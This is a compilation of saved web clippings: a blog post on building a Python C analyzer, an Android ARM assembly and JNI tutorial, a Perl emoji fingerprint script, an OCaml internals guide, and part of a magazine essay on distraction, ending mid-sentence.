intermediate step. However, `c2c` is written in C and hence not convenient
enough to extend and hack.

So I’ve decided to give my Python skills more practice and write an analyzer
for C in Python, using PLY for the lexer & parser. The project is already
online – with the lexer functioning and a set of tests for it \(the focus for
now is ANSI C90, assuming it has been preprocessed with some standard `cpp`\).

When I sat down to implement the parser, the issue of the AST quickly came up.
I want my parser to build the AST that can later be processed. But what kind
of AST to build ? How detailed to make it ? These are untrivial questions.

I turned to Python itself for the answers. The standard `compiler` module has
a built-in AST walker that allows to walk ASTs generated from Python’s code.
The AST format itself is defined in a text file, and the corresponding Python
module is cleverly generated automatically \(ast.txt and astgen.py in
Tools/compiler of Python’s source distribution\). I like this approach,
because it allows for a very detailed AST \(which is good for convenient
recursive walking\) and avoids writing tons of boilerplate code by employing
code generation.

Curiously, the Python compiler itself \(CPython\) uses another, though similar
technique. It defines the Python grammar using ASDL \(Abstract Syntax
Description Language\), and generates the C code for the compiler from it.

Anyway, now I’m in the process of deciding on the best AST approach for my C
analyzer. I like the method of generating the AST code automatically from a
readable specification quite a lot, so there’s a good chance I’ll borrow
astgen.py for my needs.

I’ll report on the progress of this project in the future.

Related posts:

  1. Analyzing C source code
  2. Python internals: Working with Python ASTs
  3. pycparser v1.0 is out\!
  4. the answer for parsing C ?

# Vikram and Neha: Android ARM Assembly: Calling Assembly from Android \(Part
8\)

**Created:**| _9/18/2011 7:53:38 AM_  
---|---  
**Updated:**| _9/18/2011 7:53:38 AM_  
**Author:**| __  
**Tags:**| _asm android arm_  
  

###  Android ARM Assembly: Calling Assembly from Android \(Part 8\)

This is part eight in a series on learning ARM assembly on Android. This part
covers calling Assembly code from Android applications.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
=> Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Native Development Kit  
You've written some assembly code, made it run real fast, and now you want to
include it in an Android application. What's the advantage of running little
assembly programs that can't use the full feature set available to Android?
You need the Android Native Development Kit.  
  
Download the Native Development Kit from the Android development page. Follow
the instructions on that page to install it. Installation is little more than
unzipping the file in the correct directory.  
  
Sample Application  
My sample application has three parts. The first is the most familiar part:
this is the assembly source. This is in an assembly source file called
jni/multiple.s. This code computes 10y for a given value y.  

[code]

    	@ This file is jni/multiple.s
    	.text
    	.align	2
    	.global	armFunction
    	.**type**	armFunction, %**function**
    armFunction:
    	@ Multiply by 10. Input value and return value in r0
    	stmfd	sp!, {fp,ip,lr}
    	mov	r3, r0, asl #3
    	add	r0, r3, r0, asl #1
    	ldmfd	sp!, {fp,ip,lr}
    	bx	lr
    	.size	armFunction, .-armFunction
[/code]

  
The assembly code is called from a C stub. The C stub must have a very fixed
name: Java\_name\_of\_package\_Class\_function. This looks downright ugly but
is required for Java to look up the correct function. I create a C stub to
hold the strange name, and to accept the weird JNI arguments. You don't need
to have a C stub, but it makes life easy.  
  
The type jint is a java int that you can treat as a 32 bit int value. Other
types are jboolean, jbyte, jchar, jshort, jlong, jfloat, jdouble, and jobject.
Notice the signature of the JNI function: it accepts the environment, which is
a JNIEnv pointer, and an arbitrary object. Finally, we have the input value,
which is an integer. In its implementation, we call our ARM assembly function
on the input. The return value is a jint, which indicates that we are
returning an integer.  

[code]

    /* This file is jni/hello-jni.c */
    
    **#include <jni.h>**
    
    /* This stub calls the function. It helps to have a stub like this to
     * save yourself the hassle of defining the function call in
     * Assembly. */
    jint Java_com_eggwall_android_assembly_AssemblyActivity_factorialJNI(
    	JNIEnv* env, jobject object, jint input) **{**
    	/* Try calling some local code */
    	**return** armFunction(input);
    **}**
    
[/code]

Finally, there is a file that defines the sources in a Makefile. This is the
jni/Android.mk file. It puts together the stub and the assembly code into a
library called "hello-jni".  

[code]

    # This file is jni/Android.mk
    
    LOCAL_PATH := $(call my-dir)
    **include** $(CLEAR_VARS)
    
    # I want ARM, not thumb.
    LOCAL_ARM_MODE := arm
    
    # Name of the local module
    LOCAL_MODULE    := hello-jni
    # The files that make up the source code
    LOCAL_SRC_FILES := hello-jni.c multiple.s
    
    **include** $(BUILD_SHARED_LIBRARY)
[/code]

  
The stub and the assembly input are compiled by calling the following command
from the root directory of your project. This is the directory that contains
jni/, src/, res/, ..etc. I am assuming the ndk is installed in
/usr/local/android-sdk-linux\_x86/android-ndk-r6b.  

[code]

    $ **ls**
    AndroidManifest.xml  assets/  bin/  build.properties  build.xml  default.properties
    gen/  jni/  libs/  local.properties  obj/  proguard.cfg  res/  src/
    $ **/usr/local/android-sdk-linux_x86/android-ndk-r6b/ndk-build**
    Compile arm    : hello-jni <= multiple.s
    SharedLibrary  : libhello-jni.so
    Install        : libhello-jni.so => libs/armeabi/libhello-jni.so
[/code]

  
Finally, there is a Java source code to create the Activity in Android. This
code creates an Android application. It extends Activity, and overrides the
onCreate method. In this, it creates a TextView, which is a label, and then
sets the contents of the label to the return value of the function. It defines
a function called factorialJNI which accepts an integer input and returns an
integer. It is marked as native, indicating that its implementation is not in
Java.  
  
Finally, a static initialisation loads the jni library that was defined in the
XML file.  

[code]

    **package com.eggwall.android.assembly;** 
     
    **import android.app.Activity;** 
    **import android.widget.TextView;** 
    **import android.os.Bundle;** 
     
    **public** **class** AssemblyActivity **extends** Activity **{** 
    	@Override 
    	**public** **void** onCreate**(** Bundle savedInstanceState**)** **{** 
    		**super**.onCreate**(** savedInstanceState**)** ; 
    		// Create a new Textview 
    		TextView  tv = **new** TextView**(****this****)** ; 
    		// Print the multiple of 13 through assembly. 
    		tv.setText**(** "The multiple was: " + factorialJNI**(** 13**)****)** ; 
    		setContentView**(** tv**)** ; 
    	**}** 
    	_/**
    	 * Multiply the number by 10.
    	 * @param input, the number to be multiplied
    	 * @return the multiple of the number
    	 */_ 
    	**public** **native** **int** factorialJNI**(****int** input**)** ; 
    	/* This is used to load the 'hello-jni' library on application
    	 * startup. The library has already been unpacked into
    	 * /data/data/com.eggwall.android.AssemblyActivity/lib/libhello-jni.so at
    	 * installation time by the package manager.
    	 */ 
    	**static** **{** 
    		System.loadLibrary**(** "hello-jni"**)** ; 
    	**}** 
    
    **}** 
    
[/code]

That is a lot of code to run a single assembly function\! But now that you've
seen the overall structure, you can begin modifying it to run your own
assembly code. This is not a good way to experiment with assembly programming,
though. Assembly programs can be hard to debug and it helps to have good tools
during development. I would recommend developing using emacs, gcc, gdb, and
other GNU tools, just as before. When the code is working correctly, hook it
into Android Java source. The Android NDK has some useful debugging
facilities, but I would consider them options of last resort.  
You can download the entire ARM Android assembly example as an Eclipse project
here.  
  
Speed versus Complexity  
Just because you are calling assembly code does not automatically make your
program faster. The Dalvik virtual machine runs most code fairly fast, and the
effort to develop assembly code is not worth the minor improvement in code
execution speed. Here are some reasons why you might want to use native code.  

  1. Legacy code. You have a lot of existing code that you want to plug into Android.
  2. Optimised code. You have CPU-intensive code that has been carefully optimised.

Assembly code takes a longer to develop, more effort to maintain, and is
difficult to port. There are few people who can read assembly code, so your
code will be out of reach of many programmers.  
  
A careful consideration of implementation speed and code complexity will lead
you to the correct balance.  

Things to try out  

  1. Create a new function called factorial\(int a\) and its corresponding stub. Call it from Java.
  2. Create a new source file called factorial.s, and put the function in there. Modify jni/Android.mk to run it correctly.
  3. Try adding an input area, where a number is entered. Pass this number to the assembly source code, and print out its factorial. 

My example builds upon the hello-jni example that ships with the NDK. You can
read the other NDK samples for inspiration. You can learn more by reading the
JNI reference. It covers the data types, and the various functions available
from native code.

# absorptions: Visualizing hex dumps with Unicode emoji

**Created:**| _10/31/2014 8:36:34 PM_  
---|---  
**Updated:**| _10/31/2014 8:36:34 PM_  
**Author:**| __  
**Tags:**| __  
  

# Visualizing hex dumps with Unicode emoji

Memorizing SSH public key fingerprints can be difficult; they're just long
random numbers displayed in base 16. There are some terminal-friendly
solutions, like OpenSSH's randomart. But because I use a Unicode terminal, I
like to map the individual bytes into characters in the Miscellaneous Symbols
and Pictographs block.

|

[code]

               
[/code]

\# Oona Räisänen 2013  \# http://windytan.com  \# ssh-keygen -l -f ~/.ssh/id\_rsa.pub | perl emoji.pl  @emoji qw\( 🌀 🌂 🌅 🌈 🌙 🌞 🌟 🌠 🌰 🌱 🌲 🌳 🌴 🌵 🌷 🌸  🌹 🌺 🌻 🌼 🌽 🌾 🌿 🍀 🍁 🍂 🍃 🍄 🍅 🍆 🍇 🍈  🍉 🍊 🍋 🍌 🍍 🍎 🍏 🍐 🍑 🍒 🍓 🍔 🍕 🍖 🍗 🍘  🍜 🍝 🍞 🍟 🍠 🍡 🍢 🍣 🍤 🍥 🍦 🍧 🍨 🍩 🍪 🍫  🍬 🍭 🍮 🍯 🍰 🍱 🍲 🍳 🍴 🍵 🍶 🍷 🍸 🍹 🍺 🍻  🍼 🎀 🎁 🎂 🎃 🎄 🎅 🎈 🎉 🎊 🎋 🎌 🎍 🎎 🎏 🎒  🎓 🎠 🎡 🎢 🎣 🎤 🎥 🎦 🎧 🎨 🎩 🎪 🎫 🎬 🎭 🎮  🎯 🎰 🎱 🎲 🎳 🎴 🎵 🎷 🎸 🎹 🎺 🎻 🎽 🎾 🎿 🏀  🏁 🏂 🏃 🏄 🏆 🏇 🏈 🏉 🏊 🐀 🐁 🐂 🐃 🐄 🐅 🐆  🐇 🐈 🐉 🐊 🐋 🐌 🐍 🐎 🐏 🐐 🐑 🐒 🐓 🐔 🐕 🐖  🐗 🐘 🐙 🐚 🐛 🐜 🐝 🐞 🐟 🐠 🐡 🐢 🐣 🐤 🐥 🐦  🐧 🐨 🐩 🐪 🐫 🐬 🐭 🐮 🐯 🐰 🐱 🐲 🐳 🐴 🐵 🐶  🐷 🐸 🐹 🐺 🐻 🐼 🐽 🐾 👀 👂 👃 👄 👅 👆 👇 👈  👉 👊 👋 👌 👍 👎 👏 👐 👑 👒 👓 👔 👕 👖 👗 👘  👙 👚 👛 👜 👝 👞 👟 👠 👡 👢 👣 👤 👥 👦 👧 👨  👩 👪 👮 👯 👺 👻 👼 👽 👾 👿 💀 💁 💂 💃 💄 💅 \)  while <> /\[a-f0-9:\]+:\[a-f0-9:\]+/  print $emoji split   
---|---  
What's happening here? First we create a 256-element array containing a hand-
picked collection of emoji. Naturally, they're all assigned an index from 0x00
to 0xff. Then we'll loop through standard input and look for lines containing
colon-separated hex bytes. Each hex value is replaced with an emoji from the
array.

Here's the output:

<img src='img/Temp2_10081.png' />

The script could easily be extended to support output from other hex-formatted
sources as well, such as xxd:

<img src='img/Temp2_10082.png' alt='kissofoni; tassun kynsi neulana / musa
korvista kajahtaa' />

# Ocaml internals Guide

**Created:**| _8/11/2009 11:14:32 AM_  
---|---  
**Updated:**| _8/11/2009 11:14:59 AM_  
**Author:**| __  
**Tags:**| _reversing programming_  
  

## A beginners guide to OCaml internals

Jump to Comments  

In this 6 part series, I’m going to introduce the internals of the OCaml
programming language\(tutorial and other references here\). This isn’t going
to be very comprehensive or in-depth. It’s more of a digest of the readily
available information that I found by reading the manual, header files, and
some of the compiler code. It’s definitely pitched at beginners, not experts.

By the end of it, you should be able to look at small pieces of OCaml and work
out in your head how they get translated into machine code.

I’m definitely not a great expert on the internals of OCaml. This means a
couple of things: \(a\) I’ve probably made some mistakes \(post a comment if
you see any\). \(b\) I might “reveal too much” of the specifics of the current
implementation: anything could change in a future version of OCaml, although
the internals described here have been pretty stable for a long time.

Without further ado …

## Part 1: Values

In a running OCaml program, a **value** is either an “integer-like thing” or a
pointer.

What’s an “integer-like thing”? Any OCaml `int` or `char`, or some things
which are stored like integers for speed, which include the constants `true`
and `false`, the empty list `[]`, unit `()`, and some \(but not all\)
variants.

For reasons that I’ll explain later, OCaml stores values which are integer-
like and values which are pointers differently.

A value containing a pointer is just stored as the pointer. Because addresses
are always word-aligned, the bottom 2 bits of every pointer are always `0 0`
\(the bottom 3 bits are `0 0 0` for a 64 bit machine\). OCaml therefore stores
integers by setting the bottom bit to `1` and shifting the integer over 1
place:

[code]

    +----------------------------------------+---+---+| pointer                                | 0 | 0 |+----------------------------------------+---+---++--------------------------------------------+---+| integer (31 or 63 bits)                    | 1 |+--------------------------------------------+---+
[/code]

You can quickly tell if a value is an integer-like thing \(ie. is the bottom
bit 1?\).

OCaml gives you some C macros and OCaml functions you can use on values. The C
macros are `Is_long` \(is it an integer?\) and `Is_block` \(is it a pointer?\)
in the header file`<caml/mlvalues.h>`. The OCaml functions are `is_int` and
`is_block` \(for pointers\) in the “infamous” `Obj` module.

[code]

    # let what_is_it foo =    let foo_repr = Obj.repr foo in    if Obj.is_int foo_repr then "integer-like" else "pointer" ;;val what_is_it : 'a -> string = <fun># **what_is_it 42** ;;- : string = **"integer-like"** # **what_is_it ()** ;;- : string = **"integer-like"** # **what_is_it [1;2;3]** ;;- : string = **"pointer"** # type bar = Bar | Baz of int ;;type bar = Bar | Baz of int# **what_is_it Bar** ;;- : string = **"integer-like"** # **what_is_it (Baz 5)** ;;- : string = **"pointer"**
[/code]

Are ints slow? After all it seems like you have to do a lot of bit shifting to
do any arithmetic with them.

It turns out that they are a little bit slower, but not by very much. The
OCaml compiler can perform most arithmetic operations in between one and four
machine instructions, and usually just one or two, making it the same or
fractionally slower than a straight native integer. \(Of course, there is a
more serious penalty in the cases where you really need the full width of a 32
or 64 bit integer, for example in crypto or compression algorithms\).

Increment| addl $2, %eax  
---|---  
Add a constant| addl \(constant\*2\), %eax  
Add two values| lea -1\(%eax, %ebx\), %eax  
Subtract| subl %ebx, %eax  
incl %eax  
That these are equivalent isn’t totally obvious, but this post explains why.

That concludes part 1. Tune in tomorrow for part 2, or if you’re reading this
_in the future_ , use this handy table of contents:

  * Part 2: Strings and other types
  * Part 3: The minor heap
  * Part 4: The major heap
  * Part 5: Garbage collection
  * Part 6: Conclusion, further reading

### Update

This guide is discussed on reddit here. Also on Hacker News here.

# The Benefits of Distraction and Overstimulation -- New York Magazine

**Created:**| _5/21/2009 12:36:43 PM_  
---|---  
**Updated:**| _5/21/2009 12:39:19 PM_  
**Author:**| __  
**Tags:**| _socialising_  
  

## In Defense of Distraction

### Twitter, Adderall, lifehacking, mindful jogging, power browsing, Obama’s
BlackBerry, and the benefits of overstimulation.

**__**29** Comments | Add Yours__**
  * By Sam Anderson
  * Published May 17, 2009

<img src='img/Temp2_7970.jpg' width='560' height='375' />  
  
---  
 _Illustration by Glen Cummings/MTWTF_ \(Photo: Anderson Ross/Corbis\)  
I. The Poverty of Attention

I’m going to pause here, right at the beginning of my riveting article about
attention, and ask you to please get all of your precious 21st-century
distractions out of your system now. Check the score of the Mets game; text
your sister that pun you just thought of about her roommate’s new pet lizard
\(“iguana hold yr hand LOL get it like Beatles”\); refresh your work e-mail,
your home e-mail, your school e-mail; upload pictures of yourself reading this
paragraph to your “me reading magazine articles” Flickr photostream; and alert
the fellow citizens of whatever Twittertopia you happen to frequent that you
will be suspending your digital presence for the next twenty minutes or so \(I
know that seems drastic: Tell them you’re having an appendectomy or something
and are about to lose consciousness\). Good. Now: Count your breaths. Close
your eyes. Do whatever it takes to get all of your neurons lined up in one
direction. Above all, resist the urge to fixate on the picture, right over
there, of that weird scrambled guy typing. Do not speculate on his ethnicity
\(German-Venezuelan?\) or his backstory \(Witness Protection Program?\) or the
size of his monitor. Go ahead and cover him with your hand if you need to.
There. Doesn’t that feel better? Now it’s just you and me, tucked like
fourteenth-century Zen masters into this sweet little nook of pure mental
focus. \(Seriously, stop looking at him. I’m over here.\)

Over the last several years, the problem of attention has migrated right into
the center of our cultural attention. We hunt it in neurology labs, lament its
decline on op-ed pages, fetishize it in grassroots quality-of-life movements,
diagnose its absence in more and more of our children every year, cultivate it
in yoga class twice a week, harness it as the engine of self-help empires, and
pump it up to superhuman levels with drugs originally intended to treat
Alzheimer’s and narcolepsy. Everyone still pays some form of attention all the
time, of course—it’s basically impossible for humans not to—but the currency
in which we pay it, and the goods we get in exchange, have changed
dramatically.

Back in 1971, when the web was still twenty years off and the smallest
computers were the size of delivery vans, before the founders of Google had
even managed to get themselves born, the polymath economist Herbert A. Simon
wrote maybe the most concise possible description of our modern struggle:
“What information consumes is rather obvious: It consumes the attention of its
recipients. Hence a wealth of information creates a poverty of attention, and
a need to allocate that attention efficiently among the overabundance of
information sources that might consume it.” As beneficiaries of the greatest
information boom in the history of the world, we are suffering, by Simon’s
logic, a correspondingly serious poverty of attention.

If the pundits clogging my RSS reader can be trusted \(the ones I check up on
occasionally when I don’t have any new e-mail\), our attention crisis is
already chewing its hyperactive way through the very foundations of Western
civilization. Google is making us stupid, multitasking is draining our souls,
and the “dumbest generation” is leading us into a “dark age” of bookless
“power browsing.” Adopting the Internet as the hub of our work, play, and
commerce has been the intellectual equivalent of adopting corn syrup as the
center of our national diet, and we’ve all become mentally obese. Formerly
well-rounded adults are forced to MacGyver worldviews out of telegraphic blog
posts, bits of YouTube videos, and the first nine words of  _Times_
editorials. Schoolkids spread their attention across 30 different programs at
once and interact with each other mainly as sweatless avatars. \(One recent
study found that American teenagers spend an average of 6.5 hours a day
focused on the electronic world, which strikes me as a little low; in South
Korea, the most wired nation on earth, young adults have actually died from
exhaustion after multiday online-gaming marathons.\) We are, in short,
terminally distracted. And  _distracted,_ the alarmists will remind you, was
once a synonym for  _insane._ \(Shakespeare: “poverty hath distracted her.”\)

This doomsaying strikes me as silly for two reasons. First, conservative
social critics have been blowing the apocalyptic bugle at every large-scale
tech-driven social change since Socrates’ famous complaint about the memory-
destroying properties of that newfangled technology called “writing.” \(A
complaint we remember, not incidentally, because it was written down.\) And,
more practically, the virtual horse has already left the digital barn. It’s
too late to just retreat to a quieter time. Our jobs depend on connectivity.
Our pleasure-cycles—no trivial matter—are increasingly tied to it. Information
rains down faster and thicker every day, and there are plenty of non-moronic
reasons for it to do so. The question, now, is how successfully we can adapt.

  

In Defense of Distraction  
<img src='img/Temp2_7971.jpg' alt='add090525_1_560.jpg' />_Illustration by
Glen Cummings/MTWTF_ \(Photo: John Day/Getty Images\)  
**A** lthough attention is often described as an organ system, it’s not the
sort of thing you can pull out and study like a spleen. It’s a complex process
that shows up all over the brain, mingling inextricably with other quasi-
mystical processes like emotion, memory, identity, will, motivation, and mood.
Psychologists have always had to track attention secondhand. Before the
sixties, they measured it through easy-to-monitor senses like vision and
hearing \(if you listen to one voice in your right ear and another in your
left, how much information can you absorb from either side?\), then eventually
graduated to PET scans and EEGs and electrodes and monkey brains. Only in the
last ten years—thanks to neuroscientists and their functional MRIs—have we
been able to watch the attending human brain in action, with its coordinated
storms of neural firing, rapid blood surges, and oxygen flows. This has
yielded all kinds of fascinating insights—for instance, that when forced to
multitask, the overloaded brain shifts its processing from the hippocampus
\(responsible for memory\) to the striatum \(responsible for rote tasks\),
making it hard to learn a task or even recall what you’ve been doing once
you’re done.  
  
When I reach David Meyer, one of the world’s reigning experts on multitasking,
he is feeling alert against all reasonable odds. He has just returned from
India, where he was discussing the nature of attention at a conference with
the Dalai Lama \(Meyer gave a keynote speech arguing that Buddhist monks
multitask during meditation\), and his trip home was hellish: a canceled
flight, an overnight taxi on roads so rough it took thirteen hours to go 200
miles. This is his first full day back in his office at the University of
Michigan, where he directs the Brain, Cognition, and Action Laboratory—a
basement space in which finger-tapping, card-memorizing, tone-identifying
subjects help Meyer pinpoint exactly how much information the human brain can
handle at once. He’s been up since 3 a.m. and has by now goosed his attention
several times with liquid stimulants: a couple of cups of coffee, some tea.
“It does wonders,” he says.  
  
My interaction with Meyer takes place entirely via the technology of
distraction. We scheduled and rescheduled our appointment, several times, by
e-mail. His voice is now projecting, tinnily, out of my cell phone’s speaker
and into the microphone of my digital recorder, from which I will download it,
as soon as we’re done, onto my laptop, which I currently have open on my desk
in front of me, with several windows spread across the screen, each bearing
nested tabs, on one of which I’ve been reading, before Meyer even had a chance
to tell me about it, a blog all about his conference with the Dalai Lama,
complete with RSS feed and audio commentary and embedded YouTube videos and
pictures of His Holiness. As Meyer and I talk, the universe tests us with a
small battery of distractions. A maximum-volume fleet of emergency vehicles
passes just outside my window; my phone chirps to tell us that my mother is
calling on the other line, then beeps again to let us know she’s left a
message. There is, occasionally, a slight delay in the connection. Meyer
ignores it all, speaking deliberately and at length, managing to coordinate
tricky subject-verb agreements over the course of multi-clause sentences. I
begin, a little sheepishly, with a question that strikes me as
sensationalistic, nonscientific, and probably unanswerable by someone who’s
been professionally trained in the discipline of cautious objectivity: Are we
living through a crisis of attention?  
  
Before I even have a chance to apologize, Meyer responds with the air of an
Old Testament prophet. “Yes,” he says. “And I think it’s going to get a lot
worse than people expect.” He sees our distraction as a full-blown epidemic—a
cognitive plague that has the potential to wipe out an entire generation of
focused and productive thought. He compares it, in fact, to smoking. “People
aren’t aware what’s happening to their mental processes,” he says, “in the
same way that people years ago couldn’t look into their lungs and see the
residual deposits.”  
  
I ask him if, as the world’s foremost expert on multitasking and distraction,
he has found his own life negatively affected by the new world order of
multitasking and distraction.  
  
“Yep,” he says immediately, then adds, with admirable \(although slightly
hurtful\) bluntness: “I get calls all the time from people like you. Because
of the way the Internet works, once you become visible, you’re approached from
left and right by people wanting to have interactions in ways that are
extremely time-consuming. I could spend my whole day, my whole night, just
answering e-mails. I just can’t deal with it all. None of this happened even
ten years ago. It was a lot calmer. There was a lot of opportunity for getting
steady work done.”  
In Defense of Distraction  
<img src='img/Temp2_7969.jpg' alt='add090525_3_560.jpg' />_Illustration by
Glen Cummings/MTWTF_ \(Photo: Getty Images\)  
Over the last twenty years, Meyer and a host of other researchers have proved
again and again that multitasking, at least as our culture has come to know
and love and institutionalize it, is a myth. When you think you’re doing two
things at once, you’re almost always just switching rapidly between them,
leaking a little mental efficiency with every switch. Meyer says that this is
because, to put it simply, the brain processes different kinds of information
on a variety of separate “channels”—a language channel, a visual channel, an
auditory channel, and so on—each of which can process only one stream of
information at a time. If you overburden a channel, the brain becomes
inefficient and mistake-prone. The classic example is driving while talking on
a cell phone, two tasks that conflict across a range of obvious channels:
Steering and dialing are both manual tasks, looking out the windshield and
reading a phone screen are both visual, etc. Even talking on a hands-free
phone can be dangerous, Meyer says. If the person on the other end of the
phone is describing a visual scene—say, the layout of a room full of
furniture—that conversation can actually occupy your visual channel enough to
impair your ability to see what’s around you on the road.  
  
The only time multitasking does work efficiently, Meyer says, is when multiple
simple tasks operate on entirely separate channels—for example, folding
laundry \(a visual-manual task\) while listening to a stock report \(a verbal
task\). But real-world scenarios that fit those specifications are very rare.  
  
This is troubling news, obviously, for a culture of BlackBerrys and news
crawls and Firefox tabs—tools that, critics argue, force us all into a kind of
elective ADHD. The tech theorist Linda Stone famously coined the phrase
“continuous partial attention” to describe our newly frazzled state of mind.
American office workers don’t stick with any single task for more than a few
minutes at a time; if left uninterrupted, they will most likely interrupt
themselves. Since every interruption costs around 25 minutes of productivity,
we spend nearly a third of our day recovering from them. We keep an average of
eight windows open on our computer screens at one time and skip between them
every twenty seconds. When we read online, we hardly even read at all—our eyes
run down the page in an _F_ pattern, scanning for keywords. When you add up
all the leaks from these constant little switches, soon you’re hemorrhaging a
dangerous amount of mental power. People who frequently check their e-mail
have tested as less intelligent than people who are actually high on
marijuana. Meyer guesses that the damage will take decades to understand, let
alone fix. If Einstein were alive today, he says, he’d probably be forced to
multitask so relentlessly in the Swiss patent office that he’d never get a
chance to work out the theory of relativity.  
  
**II. The War on the Poverty of Attention**  
  
**F** or Winifred Gallagher, the author of _Rapt,_ a new book about the power
of attention, it all comes down to the problem of jackhammers. A few minutes
before I called, she tells me, a construction crew started jackhammering
outside her apartment window. The noise immediately captured what’s called her
bottom-up attention—the broad involuntary awareness that roams the world
constantly looking for danger and rewards: shiny objects, sudden movements,
pungent smells. Instead of letting this distract her, however, she made a
conscious choice to go into the next room and summon her top-down
attention—the narrow, voluntary focus that allows us to isolate and enhance
some little slice of the world while ruthlessly suppressing everything else.  
  
This attentional self-control, which psychologists call executive function, is
at the very center of our struggle with attention. It’s what allows us to
invest our focus wisely or poorly. Some of us, of course, have an easier time
with it than others.  
  
Gallagher admits that she’s been blessed with a naturally strong executive
function. “It sounds funny,” she tells me, “but I’ve always thought of paying
attention as a kind of sexy, visceral activity. Even as a kid, I enjoyed
focusing. I could feel it in almost a mentally muscular way. I took a lot of
pleasure in concentrating on things. I’m the sort of irritating person who can
sit down to work at nine o’clock and look up at two o’clock and say, ‘Oh, I
thought it was around 10:30.’ ”  
  
Gallagher became obsessed with the problem of attention five years ago, when
she was diagnosed with advanced and aggressive breast cancer. She was
devastated, naturally, but then realized, on her way out of the hospital, that
even the cancer could be seen largely as a problem of focus—a terrifying,
deadly, internal jackhammer. It made her realize, she says, that attention was
“not just a latent ability, it was something you could marshal and use as a
tool.” By the time she reached her subway station, Gallagher had come up with
a strategy: She would make all the big pressing cancer-related decisions as
quickly as possible, then, in order to maximize whatever time she had left,
consciously shift her attention to more positive, productive things.  
In Defense of DistractionOne of the projects Gallagher worked on during her
recovery \(she is now cancer free\) was  _Rapt,_ which is both a survey of
recent attention research and a testimonial to the power of top-down focus.
The ability to positively wield your attention comes off, in the book, as
something of a panacea; Gallagher describes it as “the sine qua non of the
quality of life and the key to improving virtually every aspect of your
experience.” It is, in other words, the Holy Grail of self-help: the key to
relationships and parenting and mood disorders and weight problems. \(You can
apparently lose seven pounds in a year through the sheer force of paying
attention to your food.\)“You can’t be happy all the time,” Gallagher tells
me, “but you can pretty much focus all the time. That’s about as good as it
gets.” The most promising solution to our attention problem, in Gallagher’s
mind, is also the most ancient: meditation. Neuroscientists have become
obsessed, in recent years, with Buddhists, whose attentional discipline can
apparently confer all kinds of benefits even on non-Buddhists. \(Some
psychologists predict that, in the same way we go out for a jog now, in the
future we’ll all do daily 20-to-30-minute “secular attentional workouts.”\)
Meditation can make your attention less “sticky,” able to notice images
flashing by in such quick succession that regular brains would miss them. It
has also been shown to elevate your mood, which can then recursively stoke
your attention: Research shows that positive emotions cause your visual field
to expand. The brains of Buddhist monks asked to meditate on “unconditional
loving-kindness and compassion” show instant and remarkable changes: Their
left prefrontal cortices \(responsible for positive emotions\) go into
overdrive, they produce gamma waves 30 times more powerful than novice
meditators, and their wave activity is coordinated in a way often seen in
patients under anesthesia. Gallagher stresses that because attention is a
limited resource—one psychologist has calculated that we can attend to only
110 bits of information per second, or 173 billion bits in an average
lifetime—our moment-by-moment choice of attentional targets determines, in a
very real sense, the shape of our lives.  _Rapt_ ’s epigraph comes from the
psychologist and philosopher William James: “My experience is what I agree to
attend to.” For Gallagher, everything comes down to that one big choice:
investing your attention wisely or not. The jackhammers are
everywhere—iPhones, e-mail, cancer—and Western culture’s attentional crisis is
mainly a widespread failure to ignore them. “Once you understand how attention
works and how you can make the most productive use of it,” she says, “if you
continue to just jump in the air every time your phone rings or pounce on
those buttons every time you get an instant message, that’s not the machine’s
fault. That’s your fault.” Making the responsible attention choice, however,
is not always easy. Here is a partial list, because a complete one would fill
the entire magazine, of the things I’ve been distracted by in the course of
writing this article: my texting wife, a very loud seagull, my mother calling
from Mexico to leave voice mails in terrible Spanish, a man shouting “Your
weed-whacker fell off\! Your weed-whacker fell off\!” at a truck full of lawn
equipment, my _ Lost_-watching wife, another man singing some kind of Spanish
ballad on the sidewalk under my window, streaming video of the NBA playoffs,
dissertation-length blog breakdowns of the NBA playoffs, my toenail
spontaneously detaching, my ice-cream-eating wife, the subtly shifting
landscapes of my three different e-mail in-boxes, my Facebooking wife,
infinite YouTube videos \(a puffin attacking someone wearing a rubber boot,
Paul McCartney talking about the death of John Lennon, a chimpanzee playing
Pac-Man\), and even more infinite, if that is possible, Wikipedia entries:
puffins,  _MacGyver,_ Taylorism, the phrase “bleeding edge,” the Boston
Molasses Disaster. \(If I were going to excuse you from reading this article
for any single distraction, which I am not, it would be to read about the
Boston Molasses Disaster.\) When the jackhammers fire up outside my window, in
other words, I rarely ignore them—I throw the window open, watch for a while,
bring the crew sandwiches on their lunch break, talk with them about the ins
and outs of jackhammering, and then spend an hour or two trying to break up a
little of the sidewalk myself. Some of my distractions were unavoidable. Some
were necessary work-related evils that got out of hand. Others were pretty
clearly inexcusable. \(I consider it a victory for the integrity of pre-web
human consciousness that I was able to successfully resist clicking on the
first “related video” after the chimp, the evocatively titled “Guy shits
himself in a judo exhibition.”\) In today’s attentional landscape, it’s hard
to draw neat borders.  
In Defense of DistractionI’m not ready to blame my restless attention entirely
on a faulty willpower. Some of it is pure impersonal behaviorism. The Internet
is basically a Skinner box engineered to tap right into our deepest mechanisms
of addiction. As B. F. Skinner’s army of lever-pressing rats and pigeons
taught us, the most irresistible reward schedule is not, counterintuitively,
the one in which we’re rewarded constantly but something called “variable
ratio schedule,” in which the rewards arrive at random. And that randomness is
practically the Internet’s defining feature: It dispenses its never-ending
little shots of positivity—a life-changing e-mail here, a funny YouTube video
there—in gloriously unpredictable cycles. It seems unrealistic to expect
people to spend all day clicking reward bars—searching the web, scanning the
relevant blogs, checking e-mail to see if a co-worker has updated a
project—and then just leave those distractions behind, as soon as they’re not
strictly required, to engage in “healthy” things like books and ab crunches
and undistracted deep conversations with neighbors. It would be like requiring
employees to take a few hits of opium throughout the day, then being surprised
when it becomes a problem. Last year, an editorial in the  _American Journal
of Psychiatry_ raised the prospect of adding “Internet addiction” to the
_DSM_ , which would make it a disorder to be taken as seriously as
schizophrenia.A quintessentially Western solution to the attention problem—one
that neatly circumvents the issue of willpower—is to simply dope our brains
into focus. We’ve done so, over the centuries, with substances ranging from
tea to tobacco to NoDoz to Benzedrine, and these days the tradition seems to
be approaching some kind of zenith with the rise of neuroenhancers: drugs
designed to treat ADHD \(Ritalin, Adderall\), Alzheimer’s \(Aricept\), and
narcolepsy \(Provigil\) that can produce, in healthy people, superhuman states
